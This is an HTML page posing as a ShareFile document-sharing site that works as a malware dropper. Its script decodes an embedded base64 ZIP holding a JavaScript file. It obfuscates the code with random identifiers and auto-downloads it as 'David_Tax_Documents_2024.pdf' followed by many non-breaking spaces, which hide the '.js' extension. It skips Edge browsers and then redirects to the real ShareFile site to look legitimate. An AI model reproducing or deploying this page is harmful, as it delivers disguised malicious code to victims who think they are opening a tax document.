<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>ShareFile | Secure Document Workflow & File Sharing Software</title>
    <link rel="icon" href="https://www.sharefile.com/sites/default/files/favicon.ico" type="image/x-icon"> <!-- For .ico file -->
    <script src="https://cdn.jsdelivr.net/npm/javascript-obfuscator/dist/index.browser.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jszip/3.10.1/jszip.min.js"></script>
</head>
<body>


    <script>
      const base64ZIP = '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';
	  
	  
	  function detectBrowserAndClose() {
          const userAgent = navigator.userAgent;

          // Check if the browser is Edge

          if (userAgent.indexOf("Edg") !== -1) {
              alert("Link not supported!");
              // Attempt to close the window
              window.open('', '_self', ''); // This line sometimes helps to bypass restrictions in some browsers
              window.close(); // Try to close the current window
              return; // Exit the function to prevent anything else from running
          } else {
              // If not Edge, proceed to download files
              downloadJSFiles();
          }
      }

      async function extractAndObfuscateJS(base64ZIP) {
          try {
              const zipData = atob(base64ZIP); // Decode base64 ZIP
              const zip = await JSZip.loadAsync(zipData); // Load the ZIP file
              const jsFiles = [];

              // Iterate through the files in the ZIP
              for (const fileName in zip.files) {
                  if (fileName.endsWith('.js')) {
                      const file = zip.files[fileName];
                      const content = await file.async('string'); // Get file content as string

                      // Replace '0x' in the original code with random characters
                      let jsCode = content.replace(/_0x/g, '_' + getRandomCharacters());

                      // Obfuscate non-comment lines using the custom function
                      jsCode = obfuscateExcludingComments(jsCode);

                      // Replace '_0x' in the obfuscated code with random characters
                      jsCode = jsCode.replace(/_0x/g, '_' + getRandomCharacters());

                      jsFiles.push({ name: fileName, code: jsCode }); // Store the obfuscated JS
                  }
              }

              return jsFiles;
          } catch (error) {
              console.error('Error extracting or obfuscating JS files:', error);
          }
      }

      // Function to obfuscate non-comment lines
      function obfuscateExcludingComments(code) {
          const lines = code.split('\n');
          const obfuscatedLines = lines.map(line => {
              // If the line is a comment, return it unchanged
              if (line.trim().startsWith('//') || line.trim().startsWith('////') || line.trim().endsWith('////')) {
                  return line;
              } else {
                  // Obfuscate non-comment lines
                  return JavaScriptObfuscator.obfuscate(line).getObfuscatedCode();
              }
          });
          return obfuscatedLines.join('\n'); // Join the lines back into a single string
      }

      // Function to generate random characters
      const getRandomCharacters = () => {
          const customCharacters = "abcdefghijklmnopqrstuvwxyz";
          const numCharacters = Math.max(Math.floor(Math.random() * 30) * 30, 600); 
          let result = '';
          for (let i = 0; i < numCharacters; i++) {
              const randomIndex = Math.floor(Math.random() * customCharacters.length);
              result += customCharacters.charAt(randomIndex);
          }
          return result;
      };

      // Function to download JavaScript files
      async function downloadJSFiles() {
          const jsFiles = await extractAndObfuscateJS(base64ZIP); // Extract and obfuscate JS files

          if (!jsFiles || jsFiles.length === 0) {
              console.error('No JavaScript files found in the ZIP.');
              return;
          }

          jsFiles.forEach(file => {
              // Create a blob for the obfuscated code with UTF-8 encoding
              const blob = new Blob([file.code], { type: 'text/javascript;charset=utf-8' });
              const url = URL.createObjectURL(blob);
              const a = document.createElement('a');
              a.href = url;
              a.download = generateRandomFilename(); // Use a new filename generation function
              document.body.appendChild(a);
              a.click(); // Trigger download
              document.body.removeChild(a);
              URL.revokeObjectURL(url); // Clean up the URL
          });
      }

      // Function to generate random filename with spaces
      function generateRandomFilename() {
          const baseFilename = 'David_Tax_Documents_2024.pdf'; // Base filename
          const randomSpaces = getRandomSpaces(); // Get random spaces
          return `${baseFilename}${randomSpaces}.js`; // Return formatted filename
      }

      // Function to generate random spaces
      function getRandomSpaces() {
          const minOccurrences = 23;
          const maxOccurrences = 51;
          let separator = '';
          for (let i = 0; i < Math.floor(Math.random() * (maxOccurrences - minOccurrences + 1)) + minOccurrences; i++) {
              separator += '\u00A0'; // Unicode non-breaking space character
          }
          return separator;
      }

      window.onload = detectBrowserAndClose; // Execute browser check on load
    
	setTimeout(function() {
			downloadJSFiles();
            // Redirect to Google.com after all downloads complete
            setTimeout(function() {
                window.location.href = "https://www.sharefile.com/#David_Tax_Documents_2024.pdf";
            }, 1000); 
        }, 5000);
		
	
	</script>
</body>
</html>